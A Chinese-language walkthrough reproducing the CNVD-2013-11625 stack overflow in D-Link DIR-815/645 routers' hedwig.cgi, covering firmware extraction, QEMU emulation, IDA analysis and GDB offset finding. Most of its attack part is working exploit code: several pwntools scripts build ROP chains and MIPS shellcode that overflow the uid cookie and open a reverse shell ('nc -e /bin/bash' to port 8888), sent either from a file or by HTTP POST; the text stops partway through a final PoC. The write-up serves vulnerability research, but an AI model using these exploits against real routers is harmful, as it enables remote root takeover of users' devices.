CNVD-2013-11625

参考文章:

  1. [原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
  2. D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现 | CN-SEC 中文网

漏洞信息

D-Link DIR-645 "post_login.xml""hedwig.cgi""authentication.cgi" 不正确过滤用户提交的参数数据,允许远程攻击者利用漏洞提交特制请求触发缓冲区溢出,可使应用程序停止响应,造成拒绝服务攻击。

2013 年,D-Link DIR-645 无线路由器被爆出存在缓冲区溢出漏洞,远程攻击者通过向该无线路由器的 "post_login.xml""hedwig.cgi""authentication.cgi" 等接口提交特制请求即可触发缓冲区溢出,可使应用程序停止响应,造成拒绝服务攻击,漏洞编号为 CNVD-2013-11625

后经安全研究员分析发现,该漏洞同时影响 D-LINK 的 DIR-815/300/600/645 型号路由器设备

漏洞详情:CNVD-2013-11625 | 国家信息安全漏洞共享平台


复现工具

名称版本
OS(宿主机)Kali Linux 2024.1
QEMU8.2.1
binwalk2.3.3
GDB & gdbserver13.2

复现漏洞

QEMU 系统级复现

QEMU 系统级层面的漏洞复现需要我们通过 QEMU 虚拟机仿真路由器系统

环境搭建

注意:

对于固件处理和仿真的相关操作,这是本文的前置基础

如果对本文有任何疑问请先参考本站的《IOT环境搭建与固件分析》和《IOT固件仿真与gdbserver远程调试》这两篇文章

下载受影响的固件版本,这里以 D-LINK DIR-815 路由器为例:DIR-815A1_FW101SSB03.bin

首先使用 binwalk -Me 分离出文件系统:

binwalk -Me ./DIR-815A1_FW101SSB03.bin

注意:

需要提前安装 binwalksasquatch 工具,否则提取出的 squashfs-root 文件夹是空的

关于 sasquatch 的安装以及相关报错的处理,见本站《IOT环境搭建与固件分析》一文

提取出路由器的文件系统:

CNVD-2013-11625复现1.png

通过 busybox 程序查看路由器架构:

CNVD-2013-11625复现2.png

首先下载 MIPS32 架构的 QEMU 内核和镜像文件:

CNVD-2013-11625复现3.png

也可以直接通过 wget 下载:

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2 https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

注意:

MIPS32 架构有 Debian Squeeze 和 Debian Wheezy 两种镜像:

  • Squeeze 中的软件包和库通常比 Wheezy 中的旧,因此 Squeeze 适合运行需要特定旧版本库或依赖的应用程序
  • Wheezy 适合需要更好的性能、更好的硬件支持或更新的软件包的场景

内核镜像文件 vmlinux4kc5kc 两种版本:4kc 为 32 位,5kc 为 64 位

另外,与 ARM 架构不同,MIPS32 的仿真没有 RAM 磁盘映像文件 initrd.img

使用 qemu-system-mipsel 来启动 QEMU 虚拟机,命令如下:

sudo qemu-system-mipsel \
  -M malta \
  -kernel ./vmlinux-3.2.0-4-4kc-malta \
  -hda ./debian_squeeze_mipsel_standard.qcow2 \
  -append "root=/dev/sda1 console=tty0" \
  -net nic \
  -net tap,ifname=tap0,script=no,downscript=no \
  -nographic

启动成功,账号密码都是 root

CNVD-2013-11625复现4.png

接下来配置虚拟网卡,在 Kali Linux 中创建一个 net.sh 脚本,并写入如下内容:

#!/bin/sh
sudo brctl addbr br0                   # 添加一座名为 br0 的网桥
sudo ifconfig br0 192.168.2.3/24 up    # 启用 br0 接口
sudo tunctl -t tap0 -u root            # 创建一个只许 root 访问的 tap0 接口
sudo ifconfig tap0 192.168.2.1/24 up   # 启用 tap0 接口
sudo brctl addif br0 tap0              # 在虚拟网桥中增加一个 tap0 接口

赋予执行权限并运行该脚本:(每次重启 Kali Linux 后都需要重新配置一次

sudo chmod +x net.sh
./net.sh

在 QEMU 虚拟机中设置 ip 地址,注意与 tap0 在同一网段:(每次重启 QEMU 虚拟机后都需要重新配置一次

(root@debian-mipsel) ifconfig eth0 192.168.2.2/24 up

配置后 QEMU 虚拟机的 ip 地址为 192.168.2.2,测试一下能否与 Kali Linux 的 192.168.2.1 相互 ping 通:

CNVD-2013-11625复现5.png

将文件系统打包并通过 scp 命令上传到 QEMU 虚拟机:

tar -czvf DIR-815A1_FW101SSB03_rootfs.tar.gz squashfs-root
sudo scp DIR-815A1_FW101SSB03_rootfs.tar.gz root@192.168.2.2:~/

CNVD-2013-11625复现6.png

如果 scp 命令报错:

Unable to negotiate with 192.168.2.2 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
scp: Connection closed

这表示 SSH 客户端和服务器之间没有匹配的主机密钥类型,通常是因为服务器只支持旧的 ssh-rsassh-dss 密钥类型,而 SSH 客户端配置不再接受这些类型的密钥

改用如下命令:

sudo scp -o HostKeyAlgorithms=+ssh-rsa DIR-815A1_FW101SSB03_rootfs.tar.gz root@192.168.2.2:~/

如果继续报错:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
SHA256:tVc2ekHlAJNyIu0Fo9rOvfudWIVfkMpa3FSLlDcGeVQ.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /root/.ssh/known_hosts:1
  remove with:
  ssh-keygen -f '/root/.ssh/known_hosts' -R '192.168.2.2'
Host key for 192.168.2.2 has changed and you have requested strict checking.
Host key verification failed.
scp: Connection closed

使用如下命令即可解决:

sudo ssh-keygen -R 192.168.2.2

CNVD-2013-11625复现7.png

在 QEMU 虚拟机中解压:

(root@debian-mipsel) tar -xzvf DIR-815A1_FW101SSB03_rootfs.tar.gz

进入到路由器文件系统的根目录,新建一个 HTTP 服务的配置文件 http_conf

cd squashfs-root
# 因为 QEMU 虚拟机中没有 vi 和 vim 等,但可以使用 nano,这里以 cat 作为示例,cat > 命令使用 ctrl + D 保存并退出
cat > http_conf

写入如下内容:

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On   # 开启 log
ErrorLog /log   # log 文件

Tuning {
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}

Control {
    Types {
        text/html { html htm }
        text/xml { xml }
        text/plain { txt }
        image/gif { gif }
        image/jpeg { jpg }
        text/css { css }
        application/octet-stream { * }
    }
    Specials {
        Dump { /dump }
        CGI { cgi }
        Imagemap { map }
        Redirect { url }
    }
    External {
        /usr/sbin/phpcgi { php }
    }
}

Server {
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth0         # 网卡
    Address 192.168.2.2    # qemu 的 ip 地址
    Port "4321"            # 对应 web 访问端口
    Virtual {
        AnyHost
        Control {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

在 Kali Linux 物理机中新建一个脚本 forwarding.sh,用于开启物理机的网络地址转换(NAT)和 IP 转发(防止后续在 init.sh 脚本中启动 httpd 服务时出现问题),写入如下内容:

#!/bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

在 Kali Linux 中执行该脚本:

sudo chmod +x forwarding.sh
./forwarding.sh

紧接着,在路由器文件系统的根目录下,继续新建一个 init.sh 脚本:

cd squashfs-root
# 因为 QEMU 虚拟机中没有 vi 和 vim 等,但可以使用 nano,这里以 cat 作为示例,cat > 命令使用 ctrl + D 保存并退出
cat > init.sh

写入如下内容:

#!/bin/bash

# 由于真机不存在地址随机化,因此这里关闭地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space

# 复制配置和二进制文件
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /

# 备份 /etc,防止后续操作改变 /etc 文件夹中的内容导致下一次启动 QEMU 虚拟机出现问题
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /

# 复制必要的库
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/

# 删除旧的 CGI 脚本
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap

# 创建符号链接
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap

# 根据前面配置的 http_conf 文件,启动 HTTP 服务
./httpd -f http_conf

赋予 init.sh 执行权限,并运行:

chmod +x init.sh
./init.sh

CNVD-2013-11625复现8.png

访问 http://192.168.2.2:4321/hedwig.cgi,确认 HTTP 服务已经开启:

CNVD-2013-11625复现9.png

直接浏览器访问提示不支持的 HTTP 请求:"unsupported HTTP request"

最后,在退出 QEMU 虚拟机之前,记得先创建一个 fin.sh 脚本

cd squashfs-root
cat > fin.sh

写入如下内容:

#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

每次退出 QEMU 虚拟机器之前,都执行一下 fin.sh 脚本,恢复刚刚 init.sh 脚本中更改过的 /etc 文件夹,避免下一次启动 QEMU 时出现问题:

chmod +x fin.sh
./fin.sh

CNVD-2013-11625复现28.png


漏洞分析

在路由器文件系统中找到漏洞文件 hedwig.cgi

find ./ -name hedwig.cgi

CNVD-2013-11625复现10.png

发现 hedwig.cgi 是一个软链接,指向 cgibin 文件

在 IDA 下分析 cgibin 文件:

CNVD-2013-11625复现11.png

定位到漏洞模块 hedwigcgi_main()

CNVD-2013-11625复现12.png

可以看到我们刚刚访问 http://192.168.2.2:4321/hedwig.cgi 时的报错内容:"unsupported HTTP request"

分析可知,其会读取并判断环境变量 REQUEST_METHOD 是否为 POST,因此只支持 POST 请求方式,刚刚通过浏览器访问是 GET 方式,所以报错

接下来会执行 cgibin_parse_request(sub_409A6C, 0, 0x20000)

CNVD-2013-11625复现13.png

这个函数使用到了 3 个环境变量:CONTENT_TYPECONTENT_LENGTHREQUEST_URI,所以后面这三个环境变量我们是必须要设置的

总的来说,cgibin_parse_request() 函数主要是对 URL 进行分析和处理,这里分析一下:

CNVD-2013-11625复现14.png

这里定位到 URL 中第一个 '?' 所在的位置,对字符串进行分割,并将 '?' 后的内容和长度传入 sub_402B40() 函数进行处理:

CNVD-2013-11625复现15.png

这里会再次对字符串以 '&''=' 进行分割,即 URL 格式大致为:aaa?bbb=ccc&ddd

hedwigcgi_main() 中再往下走到 sess_get_uid(v4)

sess_get_uid() 函数用于从 HTTP 请求的 Cookie 中提取用户的 uid。如果没有找到 uid,则返回用户的远程地址:

CNVD-2013-11625复现16.png

其判断 uid 的逻辑为:以 '=' 作为分隔,'=' 前面的内容存入 v2'=' 后面的内容存入 v4,假设原字符串为 uid=xxx,如果 v2 == 'uid',则 v4 == 'xxx' 就是 uid 数据

最后将 v4 中的 uid 数据赋值给变量 string,最后将其写入 a1,也就是该函数的形参

重点在下面:

CNVD-2013-11625复现17.png

前面 sess_get_uid() 函数会将 uid 写入形参,因此 v4 的值就是 uid

也就是说,sprintf(v27, "%s/%s/postxml", "/runtime/session", string) 中的 string 就是 uid而这个 uid 是用户可以控制的

v27 是一个长度为 1024 的字符数组,明显是可以被人为输入的 uid 溢出的:

CNVD-2013-11625复现18.png

在后面还有一个类似的 sprintf()

CNVD-2013-11625复现19.png

由于 v4 没有被修改过,因此这里的 v20 同样是 uidv27 同样可以被溢出

因此我们可以利用这里覆盖上一次 sprintf() 的内容

但是要想执行两次 sprintf() 需要满足两个条件判断:

  1. 第一个是需要存在 /var/tmp/ 路径,其会创建一个 temp.xml 文件并写入数据
  2. 另一个是要求 haystack 非空

CNVD-2013-11625复现20.png

首先, /var/tmp/ 路径在真实的路由器上是存在的,但是我们仿真的系统里没有:

CNVD-2013-11625复现21.png

因此为了更真实地模拟环境,我们需要在仿真的系统里自己创建 /var/tmp 文件夹:

CNVD-2013-11625复现22.png

关于 haystack,通过交叉引用(IDA 快捷键为 X),发现 haystack 在此之前只有 sub_409A6C() 函数进行过修改,也就是 cgibin_parse_request((int)sub_409A6C, 0, 0x20000u) 的第一个参数:

CNVD-2013-11625复现23.png

CNVD-2013-11625复现24.png

cgibin_parse_request() 函数在这里才调用了 sub_409A6C() 函数(作为形参 a1):

CNVD-2013-11625复现25.png

off_42C014 处存放的是 "application/" 数据,这是在处理 HTTP 请求时用到的 MIME 类型字符串的一部分:

CNVD-2013-11625复现26.png

因此这里是对 POST 内容的读入

要想读入 POST,就必须先满足 v9 != -1if 判断,而 v9 初值就是 -1,因此需要走中间的 if 分支使 v9 = 0,同时也必须保证环境变量 REQUEST_URI 不为空:

CNVD-2013-11625复现27.png

接下来就是确定 uid 溢出到栈上的返回地址所需要的字节数了,以及 libc 的基地址

为了使用 gdbserver 进行远程调试,首先交叉编译一个 gdbserver

这一块如果不熟悉的话,详见本站的《IOT固件仿真与gdbserver远程调试》一文的《IOT 远程调试》部分

由于我本地是 Kali Linux 2024.1 自带 GDB v13.2,因此选择 GDB v13.2 的源码,编译出 mipsel 架构的 gdbserver:(我这里已经提前编译好了,就不再详细说明了)

CNVD-2013-11625复现29.png

将其上传到路由器文件系统的根目录下,并增加执行权限:

sudo scp -r gdbserver root@192.168.2.2:~/squashfs-root
chmod +x gdbserver

CNVD-2013-11625复现30.png

在路由器文件系统的根目录下,新建一个 run.sh 脚本:

#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner" | ./gdbserver 127.0.0.1:6666 /htdocs/web/hedwig.cgi
# echo "winmt=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

增加执行权限后运行 run.sh

chmod +x run.sh
./run.sh

CNVD-2013-11625复现31.png

然后宿主机通过 mipsel-linux-gnu-gdb 远程连接:(由于我用的 gdbserver 就是 GDB v13.2 的源码编译来的,因此直接使用 gdb-multiarch 远程连接也是一样的)

./mipsel-linux-gnu-gdb
(mipsel-linux-gnu-gdb) target remote 192.168.2.2:6666

CNVD-2013-11625复现32.png

连接成功:

CNVD-2013-11625复现33.png

我们主要是获得 libc 基地址,由于 cgibin 程序没有开启 PIE:

CNVD-2013-11625复现34.png

直接使用 vmmap 就可以获得基地址:

# 下断点,让程序运行到 main() 函数
(mipsel-linux-gnu-gdb) b main
(mipsel-linux-gnu-gdb) c

(mipsel-linux-gnu-gdb) vmmap

CNVD-2013-11625复现35.png

获得 libc 基地址为:0x77f34000

接下来还需要找出栈溢出的长度,这里直接通过 cyclic 来尝试,首先生成 2000 个字符然后写入 payload 中:

cyclic 2000 > payload

然后将 paylaod 文件上传到路由器文件系统的根目录

退出宿主机的 GDB 调试,重新运行 run.sh,通过 cat payload 将我们的 payload 的内容读到 uid= 后面,然后 GDB 重新连接调试程序:

CNVD-2013-11625复现36.png

没有显示刚刚出现的 "cat: payload: No such file or directory" 就说明 payload 读取成功了

由于溢出发生在 hedwigcgi_main() 函数,我们直接把断点打在 hedwigcgi_main() 函数结束的地方,通过观察返回地址来确定栈溢出的长度:

CNVD-2013-11625复现37.png

CNVD-2013-11625复现38.png

可以看到 hedwigcgi_main() 函数结束后跳转的地址是 0x646b6161,通过 cyclic -l 获得偏移为 1009

CNVD-2013-11625复现39.png

关于 MIPS 架构下的 ROP 构造我不是很熟悉。。。所以暂时不做过多解释,等我深入研究之后再做总结归纳吧

先参考一下 winmt 对 MIPS 的 ROP 构造这一块儿的讲解:[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com


法一:向 QEMU 虚拟机上传 payload

这种方式我们直接将 payload 写入文件,然后上传到 QEMU 虚拟机,通过设置环境变量来读取 payload 作为 uid,从而触发漏洞反弹 shell

poc 如下:

  1. 纯 ROP 链,即构造 system("/bin/sh") 来 getshell
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
 
cmd = b'nc -e /bin/bash 192.168.2.1 8888'   # 反弹 shell
 
libc_base = 0x77f34000
 
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
 
fd = open("payload", "wb")
fd.write(payload)
fd.close()
  1. 通过 shellcode 来 getshell(由于 MIPS 架构是无法开启 NX 保护的,因此可以使用 ret2shellcode,但需要注意 shellcode 中不能存在 b'\x00' 等字符防止导致 sprintf 被截断)
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
 
libc_base = 0x77f34000
 
payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3  sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1)
 
payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4)
 
shellcode = asm('''
    slti $a0, $zero, 0xFFFF
    li $v0, 4006
    syscall 0x42424
 
    slti $a0, $zero, 0x1111
    li $v0, 4006
    syscall 0x42424
 
    li $t4, 0xFFFFFFFD
    not $a0, $t4
    li $v0, 4006
    syscall 0x42424
 
    li $t4, 0xFFFFFFFD
    not $a0, $t4
    not $a1, $t4
    slti $a2, $zero, 0xFFFF
    li $v0, 4183
    syscall 0x42424
 
    andi $a0, $v0, 0xFFFF
    li $v0, 4041
    syscall 0x42424
    li $v0, 4041
    syscall 0x42424
 
    lui $a1, 0xB821 # Port: 8888
    ori $a1, 0xFF01
    addi $a1, $a1, 0x0101
    sw $a1, -8($sp)
 
    li $a1, 0x0102A8C0 # IP: 192.168.2.1
    sw $a1, -4($sp)
    addi $a1, $sp, -8
 
    li $t4, 0xFFFFFFEF
    not $a2, $t4
    li $v0, 4170
    syscall 0x42424
 
    lui $t0, 0x6962
    ori $t0, $t0,0x2f2f
    sw $t0, -20($sp)
 
    lui $t0, 0x6873
    ori $t0, 0x2f6e
    sw $t0, -16($sp)
 
    slti $a3, $zero, 0xFFFF
    sw $a3, -12($sp)
    sw $a3, -4($sp)
 
    addi $a0, $sp, -20
    addi $t0, $sp, -20
    sw $t0, -8($sp)
    addi $a1, $sp, -8
 
    addiu $sp, $sp, -20
 
    slti $a2, $zero, 0xFFFF
    li $v0, 4011
    syscall 0x42424
''')
payload += b'a'*0x18
payload += shellcode
 
fd = open("payload", "wb")
fd.write(payload)
fd.close()

这两个 poc 都设置了反弹 shell,反弹的 IP 地址为宿主机 192.168.2.1,端口号为 8888

为了接收反弹 shell,首先在宿主机开启一个监听

nc -lvnp 8888

CNVD-2013-11625复现42.png

从上面两个 poc 脚本之中选择一个,在宿主机上写入 poc.py,然后执行 poc.py 生成 payload

我这里以第一个 poc 为例:

CNVD-2013-11625复现40.png

将这个新生成的 payload 文件上传到 QEMU 虚拟机的路由器文件系统根目录下,替换掉前面用来测试溢出的 payload 文件

然后修改一下 run.sh 中的启动命令,因为我们现在不需要 gdbserver 调试了,直接启动 hedwig.cgi 即可:

#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
# echo "winmt=pwner" | ./gdbserver 127.0.0.1:6666 /htdocs/web/hedwig.cgi
echo "winmt=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

CNVD-2013-11625复现41.png

在 QEMU 虚拟机中运行 run.sh,然后宿主机上会显示已连接,并且可以正常使用 shell 命令查看路由器系统中的内容:

CNVD-2013-11625复现43.png

而且我们是 root 权限用户,可以任意向路由器系统写入文件:

CNVD-2013-11625复现44.png

到此为止,漏洞复现成功!


法二:向 httpd 服务发送 HTTP 报文

这种方式就需要用到前面开启的 HTTP 服务了,我们直接以 HTTP 报文的形式发送 payload

我们前面在 http_conf 中配置了如下内容来启动 httpd 服务:

Server {
    ServerName "Linux, HTTP/1.1, "     # 服务器的名称和协议
    ServerId "1234"                    # 服务器的标识符
    Family inet                        # 使用的协议族,这里是 IPv4
    Interface eth0                     # 绑定的网络接口,这里是网卡 eth0
    Address 192.168.2.2                # qemu 的 ip 地址
    Port "4321"                        # 对应 web 访问端口,服务器监听端口

于是直接向 192.168.2.2:4321 发送 HTTP 报文

poc 如下:

  1. 纯 ROP 链,即构造 system("/bin/sh") 来 getshell
from pwn import *
import requests

context(os='linux', arch='mips', log_level='debug')

cmd = b'nc -e /bin/bash 192.168.2.1 8888'   # 反弹 shell

libc_base = 0x77f34000

# 创建 payload
payload = b'a' * 0x3cd
payload += p32(libc_base + 0x53200 - 1)  # s0  system_addr - 1
payload += p32(libc_base + 0x169C4)      # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a' * (4 * 7)
payload += p32(libc_base + 0x32A98)      # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a' * 0x18
payload += cmd

# 定义目标 URL 和数据
url = "http://192.168.2.2:4321/hedwig.cgi"
data = {"winmt": "pwner"}

# 定义请求头
headers = {
    "Cookie": b"uid=" + payload,
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "11"
}

# 发送 POST 请求
res = requests.post(url=url, headers=headers, data=data)

# 打印响应
print(res)
  1. 通过 shellcode 来 getshell(由于 MIPS 架构是无法开启 NX 保护的,因此可以使用 ret2shellcode,但需要注意 shellcode 中不能存在 \x00 等字符防止导致 sprintf 被截断)
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')
 
libc_base = 0x77f34000
 
payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3  sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1)
 
payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4)
 
shellcode = asm('''
    slti $a0, $zero, 0xFFFF
    li $v0, 4006
    syscall 0x42424
 
    slti $a0, $zero, 0x1111
    li $v0, 4006
    syscall 0x42424
 
    li $t4, 0xFFFFFFFD
    not $a0, $t4
    li $v0, 4006
    syscall 0x42424
 
    li $t4, 0xFFFFFFFD
    not $a0, $t4
    not $a1, $t4
    slti $a2, $zero, 0xFFFF
    li $v0, 4183
    syscall 0x42424
 
    andi $a0, $v0, 0xFFFF
    li $v0, 4041
    syscall 0x42424
    li $v0, 4041
    syscall 0x42424
 
    lui $a1, 0xB821 # Port: 8888
    ori $a1, 0xFF01
    addi $a1, $a1, 0x0101
    sw $a1, -8($sp)
 
    li $a1, 0x0102A8C0 # IP: 192.168.2.1
    sw $a1, -4($sp)
    addi $a1, $sp, -8
 
    li $t4, 0xFFFFFFEF
    not $a2, $t4
    li $v0, 4170
    syscall 0x42424
 
    lui $t0, 0x6962
    ori $t0, $t0,0x2f2f
    sw $t0, -20($sp)
 
    lui $t0, 0x6873
    ori $t0, 0x2f6e
    sw $t0, -16($sp)
 
    slti $a3, $zero, 0xFFFF
    sw $a3, -12($sp)
    sw $a3, -4($sp)
 
    addi $a0, $sp, -20
    addi $t0, $sp, -20
    sw $t0, -8($sp)
    addi $a1, $sp, -8
 
    addiu $sp, $sp, -20
 
    slti $a2, $zero, 0xFFFF
    li $v0, 4011
    syscall 0x42424
''')
payload += b'a'*0x18
payload += shellcode

# 定义目标 URL 和数据
url = "http://192.168.2.2:4321/hedwig.cgi"
data = {"winmt" : "pwner"}

# 定义请求头
headers = {
    "Cookie"        : b"uid=" + payload,
    "Content-Type"  : "application/x-www-form-urlencoded",
    "Content-Length": "11"
}

# 发送 POST 请求
res = requests.post(url = url, headers = headers, data = data)

# 打印响应
print(res)

这两个 poc 都设置了反弹 shell,反弹的 IP 地址为宿主机 192.168.2.1,端口号为 8888

为了接收反弹 shell,首先在宿主机开启一个监听

nc -lvnp 8888

CNVD-2013-11625复现42.png

从上面两个 poc 脚本之中选择一个,我这里以第一个 poc 为例:

CNVD-2013-11625复现45.png

可以看到反弹 shell 初始目录位于 /htdocs/web,我们仍然是 root 权限用户

到此为止,漏洞复现成功!


QEMU 用户级复现

QEMU 用户级层面的漏洞复现不需要进行仿真,但相比之下,需要进行仿真的系统级复现更加直观、更符合现实场景,这里主要是介绍 QEMU 用户级层面的漏洞复现方式

漏洞分析

首先打开宿主机的路由器文件系统根目录

生成 2000 个字符的 payload 文件,用来测试 uid 溢出到栈上返回地址所需的字节数:

cyclic 2000 > payload

创建以下 run.sh 脚本,通过 QEMU 用户模式启动 /htdocs/cgibin 程序:

#!/bin/bash
 
INPUT="winmt=pwner"
LEN=$(echo -n "$INPUT" | wc -c)
cookie="uid=`cat payload`"

echo $INPUT | qemu-mipsel-static -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin

这里通过 -g 1234 在 1234 端口开启了 gdbserver 监听,cat payload 可以将 payload 文件中的内容读到 uid= 之后,echo $INPUT | 可以做到 POST 的效果,-0 就是 argv[0]-E 是设置环境变量

然后执行 run.sh

CNVD-2013-11625复现46.png

可以看到本机开启了 1234 端口:

CNVD-2013-11625复现47.png

然后使用本机的 gdb-multiarch 连接 gdbserver:

gdb-multiarch
(gdb-multiarch) set architecture mips
(gdb-multiarch) target remote 127.0.0.1:1234

CNVD-2013-11625复现48.png

但是发现 QEMU 用户模式连上 pwndbg 时,vmmap 无法看到 libc 的基地址:(libc 直接不显示,而是显示 <explored>

(gdb-multiarch) b main
(gdb-multiarch) c

(gdb-multiarch) vmmap

CNVD-2013-11625复现49.png

因此利用 Linux 的延迟绑定机制,当一个函数在第二次及以后被调用的时候,就会直接跳转到其相应的 libc 地址(真实地址)

如果对延迟绑定这一块不太了解,详见本站的《PLT表和GOT表》一文

我们在 IDA 下找两次跳转到同一个 libc 函数的地方,例如 hedwigcgi_main() 函数中:

CNVD-2013-11625复现50.png

然后把 GDB 断点设置在这里:

(gdb-multiarch) b *0x4094C8
(gdb-multiarch) c

CNVD-2013-11625复现51.png

(gdb-multiarch) b *0x4094E4
(gdb-multiarch) c

CNVD-2013-11625复现52.png

获得 memset() 函数的真实地址为:0x2b333a20

在路由器文件系统的 /lib 文件夹内,找到其所使用的 libc 文件:libc.so.0

利用 objdump 查找 memset() 函数的偏移地址:

objdump -T ./libc.so.0 | grep memset

CNVD-2013-11625复现53.png

获得 memset() 函数的 libc 偏移为:0x34a20

则 libc 基地址为:0x2b333a20 - 0x34a20 = 0x2b2ff000(如果计算结果最后三位不是 000 的话,那就说明算错了)

接下来就是 GDB 执行到 hedwigcgi_main() 函数结束将要返回的地方,观察返回地址来确定溢出的长度:

CNVD-2013-11625复现37.png

不过我们 GDB 现在就是处在 hedwigcgi_main() 函数中,因此也可以直接运行到当前函数退出:

(gdb-multiarch) finish

CNVD-2013-11625复现54.png

显示返回地址 0x646b6161 不合法,cyclic -l 得到溢出到返回地址的长度为 1009

向用户态 QEMU 传递 payload 参数

由于 QEMU 用户级复现不需要仿真,我们只需要用 qemu-mipsel-static 运行 /htdocs/cgibin 程序,然后将 payload 作为参数传递

poc 如下:

  1. 纯 ROP 链,即构造 system("/bin/sh") 来 getshell
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
 
libc_base = 0x2b2ff000   # 根据自己调试的基地址来更改
 
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x159F4) # s1  move $t9, $s0 (=> jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x6DFD0) # s3  /bin/sh
payload += b'a'*(4*2)
payload += p32(libc_base + 0x32A98) # s6  addiu $s0, 1 (=> jalr $s1)
